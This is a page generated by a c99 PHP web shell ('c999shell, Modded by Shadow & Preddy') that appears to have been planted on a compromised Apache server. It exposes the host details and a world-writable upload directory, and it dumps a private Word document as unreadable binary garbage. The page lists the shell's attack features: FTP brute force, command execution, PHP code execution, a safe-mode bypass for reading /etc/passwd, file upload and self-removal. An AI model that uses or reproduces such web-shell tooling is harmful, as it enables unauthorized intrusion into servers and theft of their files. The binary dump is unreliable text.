!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/documentsTmp/   drwxrwxrwx
Free 50.79 GB of 127.8 GB (39.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     20090831_094132-217-6e5b118701ab932a635815ff00e35fdf-99.doc (51.5 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ࡱ>	bda'`	6bjbj.F
u8>\$D,TDVDVDVDVDVDVD$
FhuHrzD!zDDTDTDADC`rTg|B&TDD0DCHHLCHCzDzD}jDD	A#0@!4'2!6-C#0*2#*@( *3+#18%2#
'2!4@+G-H-#0*2#*@(
3-42"C2#-A#0@!4
H2@G11"5H*31
11"+6HC2#C
I2#0*2#*@(C+I#0*'2!*3@#G -C+IH2-2!'2!4@+G5H#2!'2!@G#4-H2!25H*8 '2!4@+G-H203D*9H2##1#82C+I5"4HF6ID -'2!#82C+IH2-H2A*-2!1I+!H- I2I-C"1D!H@"C
I2+#7-D!H@I2C -C+I@I2C
I2 *-2! 3'2!@I2CH-AIH- A%I'6@I2!2-C 2"+%1DI @#200@4#0C+I@I2#0@!4@G#0"0@'%2"2'2-*!'# #0!2 3 @7- --#08*3+#1'2!#H'!!7-C2#-@G-"H2*9 !2  B-2*5II'"
2##0@!4'2!6-C#02*2#*@(
I2@I2!5'2!6-C 2#%@'%232 H2#0*2#*@(
I2@I2!5'2!6-C 2#%2#0@ H2F H2#0*2#*@(
I2@I2!5'2!6-C 2#--8!142#D#2
2# H2#0*2#*@(
I2@I2!5'2!6-C 2#9@4@7-H2I2 H2#0*2#*@(
I2@I2!5'2!6-C 2##0@!4H2F-'4"2%1" H2#0*2#*@(
I2@I2!5'2!6-C 2#-C
I#"L#2
2# H2#0*2#*@(
I2@I2!5'2!6-C 2#-H2A%0#1#2+1*7-#2
2# H2#0*2#*@(
I2@I2!5'2!6-C 2#1@G+1*7-#2
2#*H'8% C#0*2#*@(
I2@I2!5'2!6-C 2#"7!@4A%0@4@42#D#2
2# H2#0*2#*@(
I2@I2!5'2!6-C 2#@4H2#1)2"22% A%0H22#(6)28# H2#0*2#*@(
#0@#7-H2"-!4'@-#L
I2@I2!5'2!6-C 2#C
I2-4@-#L@C*312
I2@I2!5'2!6-C 2#C
I2D#L"9C*312
I2@I2!5'2!6-C 2##42#H-!3#8@#7-H2"-!4'@-#L
.2#LA'#L
I2@I2!5'2!6-C @#7H--!4'@-#L5HC
I2C*312
I2@I2!5'2!6-C 2#32--LA'#LC@#7H-/5H41I!2
2##42#-!4'@-#L
I2@I2!5'2!6-C 2#--C+I#42#*2#*@(5%0+H'"2"H-"
I2@I2!5'2!6-C 8 22##42#-!4'@-#L-@I2+I25H
@'GDL'4"2%1"
I2@I2!5'2!6-C #9%1)L-@'GDL'4"2%1"
I2@I2!5'2!6-C I-!9%C@'GDL'4"2%1"
I2@I2!5'2!6-C 2#C
I2@'GDL'4"2%1"

A#0@!4#0*44 2A%0'2!%- 1"-#0*2#*@(

#0*44 2 I2@I2@+G'H2#0*2#*@(

H'"C+I32DI*BD^`	h			˹r`Q`B/%hh5>*CJ OJQJaJ o(h5CJ OJQJaJ o(hnCJ OJQJaJ o("hnhnCJ OJQJaJ o(hr5CJ OJQJ\aJ o((hR=hn5CJ OJQJ\aJ o("hn5CJ OJQJ\aJ o(hE.5CJ OJQJ\aJ o("hR=5CJ OJQJ\aJ o(hR=5CJ OJQJ\aJ "hej5CJ OJQJ\aJ o(%h'hE.5CJ OJQJ\aJ ``

NLPl>

&Fgd,(
&Fgd'
&Fgd-o
&FgdE.h`hgdngdn$a$gd'56			
$
"
^
ʻʬʚueSD5h<CJ OJQJaJ o(h-oCJ OJQJaJ o("h-oh-oCJ OJQJaJ o(hE.5CJ OJQJ\aJ o(%h4hE.5CJ OJQJ\aJ "h-o5CJ OJQJ\aJ o("hnhnCJ OJQJaJ o(hCJ OJQJaJ o(hnCJ OJQJaJ o(h5CJ OJQJaJ o(%hh5>*CJ OJQJaJ o(%hhn>*CJ OJQJaJ o(^
`
p



LN^JL\NP`jl|
<>
Ųr`"h-oh,(CJ OJQJaJ o(h,(h-oCJ OJQJaJ o(h<CJ OJQJaJ o("h,(h-oCJ OJQJaJ o(hE.5CJ OJQJ\aJ %h4hE.5CJ OJQJ\aJ h-oCJ OJQJaJ h-oCJ OJQJaJ o("h-oh-oCJ OJQJaJ o(h-oCJ OJQJaJ o(% 68HϼϪ|Ϫl]QDh,(CJ OJQJaJ o(h'CJ OJQJaJ hA"CJ OJQJaJ o(h'h,(CJ OJQJaJ h'h[CJ OJQJaJ h'CJ OJQJaJ o("h-oh,(CJ OJQJaJ o("h4hE.5CJ OJQJ\aJ %h4h'5CJ OJQJ\aJ %h4hE.5CJ OJQJ\aJ h,(h,(CJ OJQJaJ h,(CJ OJQJaJ o(8@fh@***4+x+4,z,,J--
&Fgd>"
&Fgdr
&F
gdr
&F
gd+O
&FgdU3$a$gdr
&Fgdr
&FgdE.
&Fgd'.>@Plx|ʸ~o_SGhrCJ OJQJaJ h,(CJ OJQJaJ h'h'CJ OJQJaJ h'h'CJ OJQJaJ h,(CJ OJQJaJ h.CJ OJQJaJ o(h!CJ OJQJaJ o(h,(CJ OJQJaJ o("h-oh,(CJ OJQJaJ o("h4hE.5CJ OJQJ\aJ %h4hE.5CJ OJQJ\aJ h"f5CJ OJQJ\aJ 8Fdfh~*>*ʸm^L=.,=Uh!CJ OJQJaJ o(h+OCJ OJQJaJ o("h4hr5CJ OJQJ\aJ hDCJ OJQJaJ o("hD5CJ OJQJ\aJ o((h'hU35CJ OJQJ\aJ o("hr5CJ OJQJ\aJ o("h!5CJ OJQJ\aJ o("hAg5CJ OJQJ\aJ o("hU35CJ OJQJ\aJ o(%h'hr5CJ OJQJ\aJ h5CJ OJQJ\aJ o(#'@#G' A%0!5#0*44 2!26I

H'"'8!A%0312DI!26I

H'"C+I2#0'2#32#0+"1#1"2#!26I

H'"C+I2#32@G1I-A%0@G#0!26I

H'"C2##0@!4H2FDI*0'6I
#0@#7-H2"-!4'@-#L 4##!5H'4"2%1"13H-D5IH2!5'2!@+G'H2!5'2!%- 1"@5"C
2#41I@#7H-A!HH2"A%0-8#L
2#@G#0'142#AID@#7H-A!HH2"
2#*3#-2I-!9%2@#7H-A!HH2"B"9I9A%#0%C.2#L4* 2"-
2#C
I 
7H-9IC
I2A%0#+1*H2 H-@I2C
I2#0 
2#DI#1-8
2H- 2#@I2D321@#7H-A!HH2" 2#AIDB#A#! 2I-!9%
A#0@!4'2!6-C#0*2#*@( *3+#11(6)2

2##0@!4'2!6-CH-#0*2#*@(*3+#11(6)2
	16-C 2#9I-!9%+%1*9# #2"'4
2 2#2*- 2#0*2#*@(
	16-C 2#9%2#@#5" 2#2#(6)2 2#0*2#*@(
	16-C 2#9#0'14 I-!9%*H'1'-	1 2#0*2#*@(
	16-C 2##'*-2#%2#%0@5" A%0+5I*4 2#0*2#*@(
	16-C 2##0@!42#@#5"2#*- #0@!4+%1*9# H2#0*2#*@(
2##0@!4'2!6-CH-@#7-H2"-!4'@-#L
	16-C 2#C
I2-4@-#L@ C'4"2%1"
	16-C 2#C
I2@#7-H2"D#I*2"C'4"2%1"
2##0@!4'2!6-CH-#42#-!4'@-#L
	16-C @#7H--!4'@-#L5HC
I2C+I-4142#-!4'@-#L
	16-C -LA'#LC@#7H--!/5HC
I2C+I-4142#
	16-C 8 22##42#-!4'@-#L-@I2+I25H
2##0@!4'2!6-CH-@'GDL'4"2%1"
I2@I2!5'2!6-C #9%1)L-@'GDL'4"2%1"
I2@I2!5'2!6-C I-!9%C@'GDL'4"2%1"
I2@I2!5'2!6-C 2#C
I2@'GDL'4"2%1"








 FILENAME \p \\10.10.1.11\homes\jew\2#42#*2#*@(1(6)2\52A#0@!4*44 2_'2!6-C.doc 



>*@*H*~********2+4+d+n+v+x+++2,4,H,x,ӸĩxfTEh>"CJ OJQJaJ o("h4hr5CJ OJQJ\aJ "hZI5CJ OJQJ\aJ o(h!5CJ OJQJ\aJ %h4hr5CJ OJQJ\aJ h'h!CJ OJQJaJ h!CJ OJQJaJ o(hrCJ OJQJaJ hZICJ OJQJaJ o(h+OCJ OJQJaJ o(hDCJ OJQJaJ o(h'hrCJ OJQJaJ x,z,,,,,,--$-(-<-H-J------.8.:.L.P.z....ȹȹȹȹȭȹȹȹȑq_P_hR=5CJ OJQJ\aJ "hR=5CJ OJQJ\aJ o(%h'hR=5CJ OJQJ\aJ hR=CJ OJQJaJ hR=CJ OJQJaJ o(hMCJ OJQJaJ o(hMCJ OJQJaJ hMCJ OJQJaJ o(hZICJ OJQJaJ o(h>"CJ OJQJaJ h>"CJ OJQJaJ o(hrCJ OJQJaJ o(-N...//00111B222v33T445j5555
&Fgdn
&Fgdn
&FgdR^
&FgdR=
&FgdR=gdn$a$gdR=
&FgdM...////////
00b0d000001181H1P1^11111@2B22222t3v333R4T44˾˱˥˥˱˥˱˥˱˖˖˥˱˱˥˱zkkhnCJ OJQJaJ o(hR^CJ OJQJaJ o(hR^CJ OJQJaJ o(hCJ OJQJaJ o(hR=CJ OJQJaJ hR=CJ OJQJaJ o(hMCJ OJQJaJ o(hR=CJ OJQJaJ o((hR=hn5CJ OJQJ\aJ o(hR=5CJ OJQJ\aJ o()44444
55585D5h5j5z55555555555556.6`6ѴѨљzkzZG$h}CJOJQJaJmHnHu!h}CJOJQJaJmHnHuhSh}CJOJQJaJ%jhSh}CJOJQJUaJhjhUh'hnCJ OJQJaJ hnCJ OJQJaJ h'hnCJ OJQJaJ hnCJ OJQJaJ hnCJ OJQJaJ o("h-ohnCJ OJQJaJ o(hnCJ OJQJaJ o(55555556666
&Fgdn$a$gd&1
`6f6666666666ȹh'hnCJ OJQJaJ hh}hSh}CJOJQJaJ%jhSh}CJOJQJUaJ$h}CJOJQJaJmHnHu!h}CJOJQJaJmHnHu
,1h. A!"#$%@@@4CJ^J_HaJmH	sH	tH	LALA-1)#-"H-+I2@#4H!ILiL	2#244
l4a0k@0D!H!5#2"2#::&1	+1'#02)

9r <m@<+O1 / 1.1 / 1.1.1F	< @<&1
I2"#02)

9r F"F<
I-'2!-%%9CJOJQJaJFF0NiUz'd(nTI^ O+X	(	M			
D
E
x


-o:d
>
q










CDG0000 0 0U 0U 0U 0U 0U 0U 0U 0U 0U 0	U 0 0 0 0 0 0 0 0 0I 0I 0 0 0 0000 0
 0
 0
 0
 0
 0 0 0 0 0 0 000 0 0E
 0E
 0E
 0E
 0E
 0 0 0 0 0: 0: 0: 0 0
 0
 0
@000@000@000@000@0@0004	tttw	^
>*x,.4`66 "-56
!6pw8@0(	
B
S	?>I		












ADG!"/0MNhiTUyz&'cd'(mnSTHI]^ NO~
*+WX		'	(	L	M					

4
5
C
E
w
x








,-^_no9:cd

=
>
p
q















ADGI^q













ADG












DG+M~`ɖ){ɖ)!U
/	=7	X:'9Aı+]CDP(dDı+[ME	[U	P+W	Tzcz,e|'Ti'}J`Thh^h`o(^`o(.0^`0o(..0^`0o(...			^	`o(	....	@@^@`o(.....	
^`o(
......	
x`x^x``o(.......	
`^``o(........h
hh^h`o(hH.h
P^`Po(hH..h
^`o(hH...h
x^`xo(hH....	h
^`o(hH
.....	h

X@^
`Xo(hH......	
h
^`o(hH.......	
h
8x^`8o(hH........	
h
`^``o(hH.........h
hh^h`o(hH.h
P^`Po(hH..h
^`o(hH...h
x^`xo(hH....	h
^`o(hH
.....	h

X@^
`Xo(hH......	
h
^`o(hH.......	
h
8x^`8o(hH........	
h
`^``o(hH.........
hh^h`hH.
P^`PhH..
^`hH...
x^`xhH....	
	^`hH
.....	

X@^
`XhH......	

^`hH.......	

8x^`8hH........	

`H^``hH.........
hh^h`o(hH.
P^`Po(hH..
^`o(hH...
x^`xo(hH....	
^`o(hH
.....	

X@^
`Xo(hH......	

^`o(hH.......	

8x^`8o(hH........	

`^``o(hH.........h
hh^h`hH.h
88^8`hH.h
L^`LhH.h
		^	`hH.h
^`hH.h
xLx^x`LhH.h
HH^H`hH.h
^`hH.h
L^`LhH.h
hh^h`hH.h
88^8`hH.h
L^`LhH.h
		^	`hH.h
^`hH.h
xLx^x`LhH.h
HH^H`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
pLp^p`LhH.h
@@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PLP^P`LhH.h
hh^h`hH.h
88^8`hH.h
L^`LhH.h
		^	`hH.h
^`hH.h
xLx^x`LhH.h
HH^H`hH.h
^`hH.h
L^`LhH.
hh^h`hH.
P^`PhH..
^`hH...
x^`xhH....	
^`hH
.....	

X@^
`XhH......	

^`hH.......	

8x^`8hH........	

`^``hH.........h
hh^h`hH.h
P^`PhH..h
^`hH...h
x^`xhH....	h
^`hH
.....	h

X@^
`XhH......	
h
^`hH.......	
h
8x^`8hH........	
h
`^``hH.........
hh^h`hH.
P^`PhH..
^`hH...
x^`xhH....	
^`hH
.....	

X@^
`XhH......	

^`hH.......	

8x^`8hH........	

`^``hH.........h
hh^h`hH)h
88^8`hH.h
L^`LhH.h
		^	`hH.h
^`hH.h
xLx^x`LhH.h
HH^H`hH.h
^`hH.h
L^`LhH.h
hh^h`hH.h
88^8`hH.h
L^`LhH.h
		^	`hH.h
^`hH.h
xLx^x`LhH.h
HH^H`hH.h
^`hH.h
L^`LhH.h
hh^h`hH.h
88^8`hH.h
L^`LhH.h
		^	`hH.h
^`hH.h
xLx^x`LhH.h
HH^H`hH.h
^`hH.h
L^`LhH.hh^h`o(^`o(.0^`0o(..0^`0o(...	p0p^p`0o(	....	@@^@`o(.....	
^`o(
......	
^`o(.......	
`^``o(........`]C=7[U{dDTzc}[MEP+W,e+M9A'TiX:!U
/																											&%\SU3D>",()T,E.D]0&1R=fEZIk#KR^"fej-ogu<5}rt+O.A"M4!n
D'[Ag@	3FPP*UnknownG:Ax	Times New Roman5Symbol3&:Cx	Arial?Angsana New5&:[`)Tahoma"1hFFF4

2Q HX	?jE.2A#0@!4'2!6-CPersonalfaXcooLL	

Oh+'0	(
HT`
lxjẺԹ֧PersonalNormal.dotfaXcooL2Microsoft Office Word@@\Q@T@T՜.+,0hp
jiLLUSiON
'ẺԹ֧ͧ	

 !"#%&'()*+-./0123456789:;<=>?@ABCDEFGHIJKLMNOPRSTUVWXZ[\]^_`cRoot Entry	FTeData
$1Table,3IWordDocument.FSummaryInformation(QDocumentSummaryInformation8YCompObjo
	F͡ Microsoft Office Word
MSWordDocWord.Document.89q

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.015 ]--